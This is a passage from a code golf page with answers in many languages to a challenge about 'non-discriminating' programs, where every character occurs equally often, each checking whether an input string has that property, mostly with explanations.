online!](https://tio.run/##rZJXlqJQEIbfXcWlTaBgzoI555w4qJdgxIsCZtxLr2U21kNP6OkFTD399VXVw3dObaC2l2T54wPhMmGINMWyPgPRlEwihoGcAc3IMRCJJudoEcN8JJRlnGE@IyFyFAURhuM4QRAkSfpoljOMjwPcIsAAUbFYAKAooEpQBJpyVgUJrFTlADRd3CJztpb0vIJ0CekaSKUYcFS3SAcegP4cKvpGUoEuaToQoCZpJj3AYxPgvxY9iACsicx6g2a9kV8N5gd@gEGA@b9BnhcEUZSk1Wq9/sL@LjZarPrbbCSnbp/GS98Xmtxo16ox80UIhw4mHVamkPRfN0YvNK0PgTUuYNYuGDhWy4R2sGUmF@q8HtMdQn6NO6mScycHbwfRGa9KtmYrOVDzubxXn1UbrnIgyt@LyLP27esbvmdPlSlP@FgRGj6iNltqCRd7C/QfkZj9Mq8oMTcrkc929oTSwSLdLl0neDJzP3PuR9R7FE/DginwV@yfIs9/Wn7rha/Md1eRvpANi4nQAtaIAhdwzZsXvPiq81Elw@1V6TJOSwNfaZysGrXE9gbscSxYuh6SruGsXFnG9FFqffffJnTf285GW3rO@RLA2TmyNcipPD0@razHs3OsB/vY7khFenJ52LAu6Lkvn5/VO91VIWDXiI1E5Zq9sx@lT@LWi4VPzBXZFBW6J2Sn/XhUWhsGDz0Py2C8amisu5hx3FNvvwU4y493y//80p8 "Haskell – Try It Online") 90 bytes, each char 3 times: ``` a x|h:u<-[sum[1|d<-x,not(d/=c)]|c<-x]," \"\\&,../1::>acdlmmnosst">[]=h>1&&all(not.(/=h))u ``` [Try it online!](https://tio.run/##tZJXmqJQEIXfXcU1gyKKqU1gzjkHGvUSFJWgBLN7mbXMxnqY1NMbmPNU51Sdh//7SoT6QZCkjw8Irk8xZWYCtG7KNPHkM4ErpqgGwgdJDmWenOUZzAHAu@P93YPheJBIpSjI8ZIsK6quGw6KZkiRIjweKEmI1cSRICmiqPkhw50CSMCrNhsAgQDQBMgDXTU1TgAbTZWBbvA7xdptBaOoKoagGDqgKBIctZ1iABzAP0XVEAUNGIJuAA7qgm6lMjy2AfLrEIcooK3IkgNacmCfxk4AAtghsBNfQpblOJ4XhM1mu/2Mib59stoMd/l4Qds9ni/jUGozk32nQS5XUQR6yGxMnUOMuIjPQXTeHANnkrM7@2Dk2axTuuzKzc4BczvN9FDpNe1RFe9eilxl3pusC652Jz3SioVi0FjUW75q@I29lRV8Gzo0RXbgpqoBPHasca0Q2lis9ZSPvoaH93jCfV7W1ISfFrBHN39SspFyplu5zJB07mYy/vtb8MifxiUL4C/YP0SW/Un5xXOfM9vfxIdcPsanoivYQEtM2Ldsn5Hyq8m@qTnmoAnnaVYYhSrTdP3ZSO2uwJ20RyoXOe0bL6q1dcKYUNsbcZ1lhsFu/q1jFLwvDpjeiauFzaX58eGkcXzv2Y4Oif0xEB9I1XHLucosQ8Xiotnrb0pht46KQqDQHpiEkj3xu6A9diIvikvVoH@G9br3e60jkkj0Ia8jyfpTp/3lnOdGOX4DMLbv32z/8Wl/AA "Haskell – Try It Online") [Answer] # [Python 2](https://docs.python.org/2/), ~~108~~ ~~104~~ ~~92~~ 88 bytes -12 bytes thanks to [Rod](https://codegolf.stackexchange.com/users/47120/rod) -4 bytes thanks to [Kevin Cruijssen](https://codegolf.stackexchange.com/users/52210/kevin-cruijssen) ``` s=input();c=s.count;print[all(c(s[[]>[1]])==c(o)>1. for o in s)];aaafffillpprrtuu>1.>1.; ``` [Try it online!](https://tio.run/##PU/XroJQEHz3K44d7NgVsffeG0GlKoqAB7D77V7U5CabnS2TyYx603eKHH6zCscTNpvtrRGirBo6guIsoQVYxZB1XIWirJO0JCEsopEklSUxikIJgkUUNIsFgKBAoABRBhpK4TRNC4IgSpKqQqgbhkkwC3@b4gFNh6KKoJbLTpR4MIYGn7YAoMPbBwDgrzwLPk4sn5nlVR1UetUKhAr8ERjI04f/5@@m0ppmsXwtWr7WAQEk@shwdPqn9a/6tpneaJvFBCsGMGClgRX7rgzDshzH84Kw3ZoHbGCdroWRWIgXofh4vvRDuUNN990msVpHEdpF5GLKgvZhl91zGF20JsCeYq32ARi7hE1aOzry87Pf2M4yfVR6zfrZqnsvRa5Hzp1q8I5OFx/DUrEU1JeNtqcWTjC3ihzYhg6tHTN0Zmv@QEyts@0Q2lxutLSHvIZH93jSeV7VlaSX5H2PXuEk5yKVTK96mSN4/mZQ3nsiqHKnSfmT5ZvHDPRBhvmfWLMzAyE@YgsxLh1d0020TIU9q84ZqbxaTELJUwfIn2c5fhyqzvDGs5kWr8CZskaqlyPumSxr9U1Sn2a3N@w6z4yCvUKiqxfdLxYY7qmj7VtIC/VhJwOBvWs7PiT3qj8@lGqTtn2dWYVKpWWrPxDKYaeG7nh/sTM0MDl34sSgNXYiLrJDgbR37uv37vd6d0cg0cdxE0k1nhrpreRdt6ztDw "Python 2 – Try It Online") [Answer] # [MATL](https://github.com/lmendo/MATL), 12 bytes ``` q&=sqt&=tsvv ``` The input is a string enclosed in single quotes. Single quotes in the string are escaped by duplicating. The output is a non-empty matrix, which is [truthy](https://codegolf.stackexchange.com/a/95057/36398) if it doesn't contains zeros, and is [falsy](https://codegolf.stackexchange.com/a/95057/36398) if it contains at least a zero. [Try it online!](https://tio.run/##y00syfn/v1DNtriwRM22pLis7P9/dWSuOgA) Or [verify all test cases](https://tio.run/##bU/XruJADH2/XzERZaiB0HvvvVdRUiYkEJKQTIBQvp0L7MtKu0eyfexjW/aRxtJrC/6FDXAKSZIXQZTQ62RP6ydsT2P9fH5lIdYMLJjwCXla0k24@nTrmJY5WuPAH9H3lQBGOv4pjf67XtRViTY9QDV04TOFAFYAqyEaIyDKvCiLbyIpigoMGYvSu6YaGIg6QFeBNnSMuBf8@zD4A@k3voGgAAUIGhDUN2UYluU4hHh@t3sXqD4x2fBDMR8paOL98cSHUns12Xca6fUm5KDt6WxYmdMe6iI8BqF5cwwscZaw9MHIzm8T@tGam529xm6a6jml57SXqUC4l4LXIwdhvI6s7U5ypBULRR9e1FuuaiDKmGWZ3PkPTYEZ2DJVLxlWa2zL72wstnrCtbwGhrdIzHZe15SYe4k8927@JGeD5VS3cpk5kjnTWLlvUZ/KncalzzcfY5jPU1/Gvj3T5yNDNh/mEqEN3XCWVgHXun12lJ9NJqrkVgcNnadZNPJXpsn6o5EQr8AWJ4KVyzHpGi@qtW0MTzI7k7rOUkNfNx/t4AKETxYYEE6sLc9cmqt3y5Ik9/bd6BDbq97IQKqOW5ZNau0vFhfNXp8vBWy6U0DeQntgUHL2xIk@InxKX2SrotHumafXvd1qHSHtCN2P22C8/tCX7nLObmbgLw), including the standard truthiness/falsiness test for convenience. ### How it works Statements marked with `(*)` are neither necessary nor harmful, and have been included only to make the source code non-discriminating. ``` q % Implicit input. Convert chars to code points and subtract 1 from each (*) &= % Square matrix of all pairwise equality comparisons s % Sum of each column. Gives a row vector q % Subtract 1 from each value. An entry equal to 0 indicates the input string % is discriminating because some character appears only once t % Duplicate &= % Square matrix of all pairwise equality comparisons. An entry equal to 0 % indicates the input string is discriminating because some character is % more repeated than some other t % Duplicate (*) s % Sum of each column (*) (all those sums will be positive if the previous % matrix doesn't contain zeros) v % Vertically concatenate the matrix and the vector of its column sums v % Vertically concatenate the resulting matrix with nothing (*) % Implicit display ``` [Answer] # [Ruby](https://www.ruby-lang.org/), ~~87~~ 78 bytes ``` c=->m{y=m.chars;x=y.map{|d|y.count d}|[];x[-1]>1and not x[1]};->{pushrortpush} ``` 26 characters repeated 3 times each [Try it online!](https://tio.run/##rZHHsqJgEIX3PMVvjqCYFcWccw4UKkkxIEhQEHh273Wc7eymq6u@073p6nNkjTbeb6YA44JpFASE4SlZwfSCgQiUZFqsZSCMqN1UwNoWQWI6AaMkjlI3FtxEFegEStoYjJuSpvCyKKsf2m9JUxXgm8mayhs5H0RAzv97wBkGLpCHYaDyJwX8tspzQBE1meEAI7Ic5KR@yxn@0IECFDgo4EC/M00zDMty3OFwPH426Nix2B2mp3KqIp9My1YvtT65OA86he0u4ae8hWJSXFNh9Mlbk8S6OweuLONwjcHMe9jnFMFdWj1g7bjMjwJXeznCG77zNa4LrC/b5tz9ATaTq5VqRN20e8FmLE0b9RtyjF66PD3x4E0YSUotphcNdDZ7JRck9Nj0lcp4HtuWmAkRXNgclu@3YryeHzaeKz9WMjQy9EpHJPY@rzkhEuEohgemdbLAH8cZ4kTaEPTR0DeCBnVV/ibwtYOmPw58JfMBPT6kpkw5yeYSO6oTqJGx4Lb/8NftLp0WS@RF5h7LIjeLNpZY2@rkTjrwZB3xxlPAgvNNs7XPqAv8aKD6Kj@NDMvpgVrx2QzQfAt3L7y@riXTRSDI2XucXTJnCU5Nrs15z7XLb6PV6qY7Gh9qMY8S4Dm40p9o6K14Z08RR/JeeN7cokyFVuHR8PVqDfiCP2EK@3i2bSlEqF7yGvi//n//AA "Ruby – Try It Online") [Answer] # [Perl 5](https://www.perl.org/), `-p` 57 bytes Each character appears 3 times. Only a single `1` doesn't do anything 12 bytes added to a basic 45 character solution to make in non-discriminating ``` s{.}[@m[@1{$&}+=$.].=g]eg;$\=s()(e@m;1)&&m[e(\sg+)\1+;]}{ ``` [Try it online!](https://tio.run/##K0gtyjH9/7@4Wq822iE32sGwWkWtVttWRS9WzzY9NjXdWiXGtlhDUyPVIdfaUFNNLTc6VSOmOF1bM8ZQ2zq2tpoCrf/yC0oy8/OK/@sW/Nf1NdUzNNAzAAA "Perl 5 – Try It Online") [Answer] # [R](https://www.r-project.org/), 90 bytes ``` "?"=`u\164f8ToI\x6Et`;'!'=prod;!{y<-xtabs(~?readLines())}%in%{z<-y[1]}&z>T##&[]>~48bEfILpu ``` [Try it online!](https://tio.run/##K/r/X8leyTahNMbQzCTNIiTfM6bCzLUkwVpdUd22oCg/xVqxutJGt6IkMalYo86@KDUxxSczL7VYQ1OzVjUzT7W6yka3Mtowtlatyi5EWVktOtauzsQiyTXN06eglJZGAwA "R – Try It Online") Outputs `TRUE` for a non-discriminating string, and `FALSE` for a discriminating string. I have written a lot of ugly code for challenges on this site, but I think this is the ugliest so far. 45 characters, used twice each (including a few in a comment). The previous best R answer was [116 bytes](https://codegolf.stackexchange.com/a/156994/86301), with 29 characters used 4 times each; I am posting this separately since it is substantially different. The code is equivalent to ``` y = table(utf8ToInt(readLines())) z = y[1] all(y == z) & (z > 1) ``` which converts the input to a vector of integers, computes a contingency table `y` of the values, then checks that all counts in that table are equal to the first count, and that the first count is greater than 1. The initial difficulty was in using only 2 pairs of brackets. This is achieved by redefining the unary functions `!` and `?` to be `utf8ToInt` and `prod` respectively. (I can't use `all` because I need the `a`). There are four assignments: two with `=` and two with `<-`. This means that the equality test between `y` and `z` cannot use `y==z` nor `y-z`; `y%in%z` comes to the rescue. Defining these functions uses up all the possible quotes: two double quotes, two single quotes, and I'll need the two backticks in the next paragraph, so I had to resort to `readLines()` instead of `scan(,"")`. (The other options, such as `scan(,letters)` or `scan(,month.abb)` all used a precious `t` which I couldn't spare.) At this point, I had most of the building blocks: `utf8ToInt`, `prod`, `table`, `readLines`, `%in%`. Three characters appear three times in those names: `ent`. First, I discovered that `table(foo)` is equivalent to `xtabs(~foo)`, saving the `e`. I can rescue the `n` and the `t` with the hex/octal code [trick](https://codegolf.stackexchange.com/a/191117/86301); the golfiest solution is to use `u\164f8ToI\x6Et` (in backticks) for `utf8ToInt`. [Answer] # [C (gcc)](https://gcc.gnu.org/), 153 bytes ``` f(h,a,c,f){{{{{{{char*o=f=h,*r;for(a=!h;*o;o++){for(c=!h,r=h;*r;c+=!(*r++^*o)){}f*=!!(c^!!h)*(!a+!(a^c));a=c;}(a^c^c^f^f^h)+o,a+r,o,o,+h^*r;(a=f);}}}}}}} ``` [Try it online!](https://tio.run/##zVHHtqJAFFyPXwH6VJIBsyLmnHMWhUbABApm5NsdnHect5gfmKpNdZ3bt6tPAZcIwOslIBLBEoAQUP0bQGJVTKEFWiIwlRIUFWFpWKIwhVJwHNXfBjANQqVNU6UATsMIpuI4gykoqhsCRsMwAhgYllAMgVkcRlgGoCjF0oAy3tqkYFJCcYVgcZVQTOISY@4yXxJQyvjG66KseUhE3nkgTEMtuuXXQV3LJwGx2skgD82sdm1mnclWAhIQDSUgDaUshsVijkB7di0j31fOJw2x9tTzSbrHZrLLhNWc@yUiVtbEj4ZJiIRgFoLJH4/jAOD51UoQRPHjkm14sBC663Qoo671p3Ha5urzwaZRoZlFAGEddDKojFmCvErPTmBc7UO2KIBtbajnEJYxbf@VGl1cZ3EYb6E7Y9hKFJybnf@2553R8uqr3qB6ajaT9Zwm5RpW9IW5e152i95tVeI69kTR5Q4eSqDmRSuTpRbDpjdf9xGK2C9MSYng0xWhN9NHOenPx5uF6wihUvfzHH@EPQf@2M998v@3hf8J@ClsJhfYnfZPY38Fx73b@TmCj@TaQqgL0kE@FliwFTQ392FM/YLkjSoXVlLzrbq6DJOrnrcwpMrPSmx9g@xR2F@47imsPymWlpHTICHeydso3vU00@HGKeM0AHR2Dr5qxHg3Pui2qdu9cYi9bWRzcIU6u2K/ZlvEGW82O6m22kLOZ9dQaeXK1DtnUk4e@bUHDh7pq/ylqCw@IlrNx6PUkGgkoO@X/mj5qU3xfMpxT7w/YLx@Aw "C (gcc) – Try It Online") Returns address of string as truthy value, and zero as falsy. ``` f( h, Address of string. a, # instances of previous character c, # instances of current character f Return value ){{{{{{{ char*o=f=h,*r; Point o to string, while giving f a non-zero value. for(a=!h;*o;o++){ Set previous char count to 0, and then traverse the string. for(c=!h,r=h;*r; Set current char count to 0 and r to string, and start counting instances of current character. c+=!(*r++^*o)) Add to counter if current character matches. {} Lower the amount of semi-colons f*= Multiply (AND) return value with: !!(c^!!h) Is current count not 1? (Must be 2 or above.) *(!a+!(a^c)); AND, is previous count valid (meaning this is not the first character counted), and matches current count? a=c;} Previous count = current count. (a^c^c^f^f^h)+o,a+r,o,o,+h^*r; Spend surplus characters to make source code valid. (a=f);}}}}}}} Return value. ``` [Answer] ## R, ~~132~~ 116 bytes ``` crudcardounenforceableuploads<-function(b){{pi&&pi[[1-!1]];;;"";{1<{f<<-table(strsplit(b,"",,,)[[1]])}}&&!!!sd(-f)}} ``` It doesn't contain any comments or superfluous strings, either, though this will probably be my only time in code golf calling a function `crudcardounenforceableuploads`. ~~There's probably a great anagram in there somewhere for the function name!~~Thanks to John Dvorak for pointing out a nice anagram solver, which I used for the name. Character table: ``` - , ; ! " ( ) [ ] { } & < 1 a b c d e f i l n o p r s t u 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 ``` examples: ``` > crudcardounenforceableuploads("aaabbbccc") [1] TRUE > crudcardounenforceableuploads("aaabbbcc") [1] FALSE > crudcardounenforceableuploads("abc") [1] FALSE > crudcardounenforceableuploads("crudcardounenforceableuploads<-function(b){{pi&&pi[[1-!1]];;;\"\";{1<{f<<-table(strsplit(b,\"\",,,)[[1]])}}&&!!!sd(-f)}}") [1] TRUE ``` [Answer] # BASH 144 bytes ``` grep -o .|sort|uniq -c|awk '{s=$1}{e[s]=1}END{print((s>1)*(length(e)==1))}##>>>#|'#wwwuuutrqqqppooNNNnlllkkkiihhhggEEEDDDcccaaa1***{}[[[]]]...--'' ``` This line of code takes an stdin string as input. "grep -o ." puts each character on a new line. "uniq -c" counts each chacter's usage. The awk script creates an array with each usage as a different element, and outputs true when there is only 1 array index and the value is at least 2. Each character is used 4 times, so this source returns true [Answer] # [Stax](https://github.com/tomtheisen/stax), ~~26~~ ~~24~~ 18 bytes ``` :u{m*_{y#m:u_hy#h* ``` [Try it online!](https://staxlang.xyz/#c=%3Au%7Bm*_%7By%23m%3Au_hy%23h*&i=%3Au%7Bm*_%7By%23m%3Au_hy%23h*%0Aaaaa%0Aaa%211+1+%21a+%211%0Aaabbccddeeffgg%0A1Q%21V_fSiA6Bri%7B%7C%7DtkDM%5DVjNJ%3D%5E_4%28a%26%3D%3F5oYa%2C1wh%7CR4YKU+%239c%21%23Q+T%26f%60%3Asm%24%40Xv-ugW%3CP%29l%7DWP%3EF%27jl3xmd%279Ie%24MN%3BTrCBC%2FtZIL*G27byEn.g0kKhbR%25%3EG-.5pHcL0%29JZ%60s%3A*%5Bx2Sz68%25v%5EHo8%2B%5Be%2C%7BOAqn%3F3E%3COFwX%28%3B%40yu%5D%2Bz7%2FpdqUD%0Aa%0Aabbaabb%0Aabc%0AbQf6ScA5d%3A4_aJ%29D%5D2*%5EMv%28E%7DKb7o%40%5DkrevW%3FeT0FW%3BI%7CJ%3Aix+%259%213Fwm%3B*UZGH%608tV%3Egy1xX%3CS%2FOA7NtB%27%7Dc+u%27V%24L%2CYlYp%7B%23%5B..j%26gTk8jp-6RlGUL%23_%3C%5E0CCZKPQfD2%25s%29he-BMRu1n%3Fqdi%2F%215q%3Dwn%24ora%2BX%2CPOzzHNh%3D%284%7Bm%6039I%7Cs%5B%2BE%40%26y%3E&a=1&m=2) ~~Shortest solution so far that only uses printable ASCIIs~~ Beaten by MATL. Guess I was approaching the problem the wrong way. Repeating a working block is neither golfy nor interesting. Now at least it looks better ... ## Explanation `:u{m*` produces some garbage that does not affect the output. ``` _{y#m:u_hy#h* _{y#m map each character to its number of occurences in the string :u all counts are equal (result 1) _hy# get the count of appearance for the first character h halve it and take the floor, so that 1 becomes 0(result 2) * multiply the two results ``` [Answer] # [Pip](https://github.com/dloscutoff/pip), ~~22~~ 18 bytes ``` ^1>=Y^aNaYMNy=My>1 ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m724ILNgwYKlpSVpuhab4gztbCPjEv0SI339Km19K-0MIRJQ-W3RSpgqlGKhsgA) ### Explanation Each character occurs twice. ``` ^1>=Y^aNaYMNy=My>1 a First command-line argument (a string) ^ Split into a list of characters Na Count occurrences of each character in a Y Yank the result into y ^1>= No-op: compare with [1] MNy Minimum of y = is equal to My Maximum of y >1 which is also greater than one Y No-op: yank that result Autoprint the result of the last expression ``` --- Alternate 18-byters: ``` Y^!1Y^aNaMNy=My!=1 Y_<=1Y_NaMa1<Ny=My ``` [Answer] # SmileBASIC, ~~164~~ ~~152~~ ~~148~~ 140 bytes ``` DeF M(X)DIM W[#R]WHILE""<X INC w[ASC(x)]X[n]=""wEND FOR F=e#TO--nOT-LEN(W)U=w[F]H=H||U&&U<MAx(W)neXT-!!!AASSS#&&Oxx||CCLL<<wIM# RETURN!H enD ``` 35 different characters, repeated 4 times each. No comments were used (but the expression after `neXT` is never actually evaluated) Script to check answers: ``` //javascript is a convenient language that I love using! var input=document.getElementById("input"); var button=document.getElementById("button"); var output=document.getElementById("output"); button.onclick=function(){ var text=input.value; var freqs={}; for(var i=0;i<text.length;i++){ var letter=text.charAt(i); if (freqs[letter]==undefined) freqs[letter]=0 freqs[letter]++ } sorted=Object.keys(freqs).sort(function(a,b){return freqs[b]-freqs[a]}) var out=""; var min=Infinity,max=0; for (var i in sorted) { var letter=sorted[i]; var count=freqs[letter]; if(count<min)min=count; if(count>max)max=count; out+="\n"+letter+":"+count; } output.textContent="min:"+min+"\nmax:"+max+"\nunique:"+sorted.length+"\nlength:"+text.length+out; } ``` ``` <textarea id="input" placeholder="code here"></textarea> <button id="button"butt>count</button> <pre id="output">...</pre> ``` [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), ~~168~~ 90 bytes The output will be empty if false, or non-empty if true. ``` ***???;;;;```!!$$$$MMMMOOOO..1111ssss222{{{{\^^^^ s;{O`. M!*\`^((.)\2(?!\2))*$ (.)(?!\1) ``` [**Try it online**](https://tio.run/##K0otycxL/P9fS0vL3t7eGggSEhIUFVWAwBcI/IFAT88QCIqBwMjIqBoIYuKAgIur2LraP0GPy1dRKyYhTkNDTzPGSMNeMcZIU1NLhQvIBXEMNbloaTYA) ### Core program (39 bytes) ``` s;{O`. M!*\`^((.)\2(?!\2))*$ (.)(?!\1) ``` ### Explanation The entire core program is in a silent loop. The first stage sorts the input. The second stage will print the current string if it consists of successive pairs of different characters. The third stage removes the last occurrence of every character (removing one of each character in the string). About the junk at the top: the order is important. In addition to needing to be syntactically valid, a semicolon must be after the asterisks and before the backticks, so long as `*` is in the config string, in order for it to not print. [Answer] # [CoffeeScript 1](http://coffeescript.org/), ~~96~~ ~~93~~ 90 bytes ``` (q,a=q.split(h).length-1for h in[q][0])->a.every (w,s,pplitnggffoorsvvyy)->w>1&&a[0&10]==w ``` [Try it online!](https://tio.run/##tVJZc6JAGHz3V4zEKEREiIk33kc0xhxeiSwq4IAoMggIYsxvdyHZqt3sw77tVM3011NdX1dXtYRkGUJLMlXDPsvsGd@RArujLENTbXxFUBrUFXuVYGRkghVQdW7HczRPJEoCBR1oegB3SYs0ArmuKLKMkGk5juf5CrfERKMCR0cZmmdZ91wIOYAF2P9zwAohyXfAOZV0fu1Xf@/nAwPVNwBV0xQ8SjbRFujQBQNo4w5BhCSkW0iDlIYUHBtCywaCIqi6jxJawjzAiMJ3jYxjIA4c/2JEkMwf5GBTIYR8Sn9XS0ToHw52QCTBgtaXD4cJ/sHIkI9hBjAgLIAw88VFUZKWSwhlWVGCH@Y5PJ7LA7Warpnq@@nD3jQe@PG632Vn8xtciLLlW/QmkIy7Or3cvN2PwEVOCl88g2FUXuStbaTy6iT2yqT4RGgfk6dSK7bWUoftMpbrwMhDvzA067V60p52elft64zoNXVKoTf3K/HlstROULfGndSjie50YeWvuMP14JjOXjqzO5SNc5B8f6zu9HKqWXxsua94oeLt@fgxkzSWu1HjM83nI4pBqq9RCkB8ltMDqXq7zN/MhS7R4K@vZg8O3vy4FzOowm9M6EzKcEi3JoXOqZtXD@AyF0613G3hajRt3y2y9rikeMzhtThIPlYzfbsW@5DAPjaO9Mg37c14v@Aoah1Vhpvs2kikX7T2qHcxL87oen16//QsN64vLWIFE7WHlz2jl3dLNRm@3bGuHkGmEH8lnx6Px7v@isVv3reLVK5zsrh4sxL1ShhPbQUDxxHBlv7qyg8sKAgK2vLjj74ggiDOPwE "CoffeeScript 1 – Try It Online") Started from [my ES6 answer](https://codegolf.stackexchange.com/questions/156967/non-discriminating-programming/156981#156981) but walked back to using `Array.every`. ~~32~~ ~~31~~ 30 tokens @ 3 each [Answer] # [Whispers v2](https://github.com/cairdcoinheringaahing/Whispers), ~~1750~~\* 1305 bytes ``` > 1 > InputAll >> ∪2 >> #2 >> #3 >> 4÷5 >> ⌊6⌋ >> L⋅7 >> Each 8 3 >> 9ᴺ >> 2ᴺ >> 10=11 >> 6>1 >> 12⋅13 >> Output 14 ###########################00000000000000000000000000001111111111111111111112222222222222222222222222333333333333333333333333334444444444444444444444444445555555555555555555555555555666666666666666666666666666777777777777777777777777777788888888888888888888888888889999999999999999999999999999============================AAAAAAAAAAAAAAAAAAAAAAAAAAAAEEEEEEEEEEEEEEEEEEEEEEEEEEEEIIIIIIIIIIIIIIIIIIIIIIIIIIIILLLLLLLLLLLLLLLLLLLLLLLLLLLLOOOOOOOOOOOOOOOOOOOOOOOOOOOOaaaaaaaaaaaaaaaaaaaaaaaaaaaacccccccccccccccccccccccccccchhhhhhhhhhhhhhhhhhhhhhhhhhhhlllllllllllllllllllllllllllnnnnnnnnnnnnnnnnnnnnnnnnnnnnpppppppppppppppppppppppppppttttttttttttttttttttttttttuuuuuuuuuuuuuuuuuuuuuuuuuu÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷ᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺᴺ∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪∪⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⋅⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌊⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋⌋ ``` [Try it online!](https://tio.run/##7dRNCoJAFAfwvacY6ALO@L1owIWLIPAMIoGBiKTSCYRQT9I6ENp6kryIORZE1HuLmHbz88@8B84wq3nHZF/ku0PBpokTqnGyyfKq9NNU45yMpzMTdfVYDbGaQ28t/7rGHrtWtNuxrR3RBFGcEJcs@7zb5Soqe1aqrykVjc2XQtl8ii5bw6qc7yTU1N6RlxVMR9BvGMQAmTALYcMchIvwEGuEjwgQG8QWESIiRIxIECksQ@SwElSBhv63b34jcjO/XPlpa8npmj@klR41GtVoVKNRjUY1Gj9yBw "Whispers v2 – Try It Online") \* Golfs made while explaining it. You can see the original [here](https://github.com/cairdcoinheringaahing/5-solutions/blob/9b575896ed946c2a86efca74588dd8d834fb2096/3.md) Interesting task, fairly boring restriction. Unfortunately, due to the fact that every line must start with either `>>` or `>`, this forces the number of each character to be disproportionately large. Luckily, Whispers ignores every line that doesn't match one of its regexes, all of which require the line to begin with `>`. Therefore we just have a large character dump at the end of the program. In addition to this, Whispers, being designed for mathematical operations, struggles when applied to a [array-manipulation](/questions/tagged/array-manipulation "show questions tagged 'array-manipulation'") question. Overall, this means that the task is interesting to attempt, but the source code requirements are a bit boring. If we strip all the unnecessary characters from the program, we end up with ``` > 1 > InputAll >> ∪2 >> #2 >> #3 >> 4÷5 >> ⌊6⌋ >> L⋅7 >> Each 8 3 >> 9ᴺ >> 2ᴺ >> 10=11 >> 6>1 >> 12⋅13 >> Output 14 ``` [Try it online!](https://tio.run/##K8/ILC5ILSo2@v/fTsGQy07BM6@gtMQxJ4fLzk7hUccqIxCtDCGNQaTJ4e2mYLmeLrNHPd0gps@j7lZzEMM1MTlDwUIBrM7y4ZZdINoIShsa2BoaghhmdmDK0AioyxCs1L@0BGingqHJ//@JiUlJyckA "Whispers v2 – Try It Online") which is the part of the code we're actually interested in. ## How *that* works Here we conduct two key tests: the count of each is the same and the counts are greater than **1**. However, the code for these two tests are shared between them, so a complete walkthrough of the program is a more effective method of explaining this. We start with the shared code: ``` > InputAll >> ∪2 >> #2 >> #3 >> 4÷5 ``` Here, we take the input and store it on line **2** (`> InputAll`). We then create a `∪`nique version of that string (i.e. the input without duplicate characters). With our next two lines, we take the length of the untouched input (`>> #2`) and the number of unique characters in the input (`>> #3`). Finally, we divide the former by the latter. Why? Let's have a look at the two inputs of `aabbcc` and `abbaabb`. With the first string, the division becomes **6÷3 = 2**, and the second results in **7÷2 = 3.5**. For non-discriminating strings, the result of this division is **a)** An integer and **b)** Greater than **1**. Unfortunately, this also applies to some non-discriminating strings, such as `abbccc`, so we have to perform one more test. ``` >> ⌊6⌋ >> L⋅7 >> Each 8 3 >> 9ᴺ >> 2ᴺ >> 10=11 ``` Note: line **6** is the result of the division. First, we take the floor of the division, because Python strings cannot be repeated a float number of times. Then we reach our `Each` statement: ``` >> L⋅7 >> Each 8 3 ``` **3** is a reference to line **3**, which contains our deduplicated input characters, so we map line **8** (`>> L⋅7`) over this list. Line **8** multiplies the character being iterated over by the floor of our division (`>> ⌊6⌋`). This creates an array of the deduplicated characters, repeated **n** times. The results from our two previous strings, `aabbcc` and `abbaabb`, along with `abcabc`, would be `aabbcc`, `aaabbb` and `aabbcc` respectively. We can see that the first and last two are identical to their inputs, just with the letters shuffled around, whereas the middle one isn't (it has one less `b`). Therefore, we simply sort both the input and this new string, before comparing for equality: ``` >> 9ᴺ >> 2ᴺ >> 10=11 ``` Finally, we need to check that the number of characters in the string is **2** or greater. Luckily, the division we performed earlier will always result in a value greater than **1** if a character repeats more than once, meaning we just need to assert that line **6** is greater than 1: ``` >> 6>1 ``` Now we have two booleans, one for each test. They both need to be true, so we perform a logical AND (boolean multiplication) with `>> 12⋅13`, before finally outputting the final result. [Answer] # Pyth, 30 bytes ``` "&8<MQSlqr{"&q1lJ{hMrSz8<1hJ ``` Leading spaces necessary. [Try it online!](http://pyth.herokuapp.com/?code=++%22%268%3CMQSlqr%7B%22%26q1lJ%7BhMrSz8%3C1hJ&input=%22hithere%22&test_suite=1&test_suite_input=aa%211+1+%21a+%211%0Aabbaabb%0Aabc%0A++%22%268%3CMQSlqr%7B%22%26q1lJ%7BhMrSQ8%3C1hJ&debug=0) The actual program is just `&q1lJ{hMrSz8<1hJ`. I just prepended the string `"&8<MQSlqr{"` to make it non-discriminating. But to make the string not print itself, I had to add a space, so I added 2 spaces. ``` &q1lJ{hMrSz8<1hJ q1l (1 == len( J{ J = deduplicate( hM map(lambda a: a[0], r 8 length_encode( Sz sorted(input()) ) ) ) ) & and <1hJ (1 < J[0]) ``` `length_encode` here (`r <any> 8`) takes a sequence and outputs the length of each run of the same character, ex. `"aaabbcc"` becomes `[[3, "a"], [2, "b"], [2, "c"]]`. So this takes the input, sorts it to put in length encode, and takes the first element of each list in the resulting list (e.g. the earlier example would become `[3, 2, 2]`). This gives a count of how many times characters occur. Then it's deduplicated (the earlier example would become `[3, 2]`), and J is set to that. Then it checks if the length is 1, i.e. there is only 1 unique number of times a character occurs, and if that is > 1, i.e. >= 2. There might be a built-in to replace `rSz8` or `hMrSz8` but I can't find one. ]
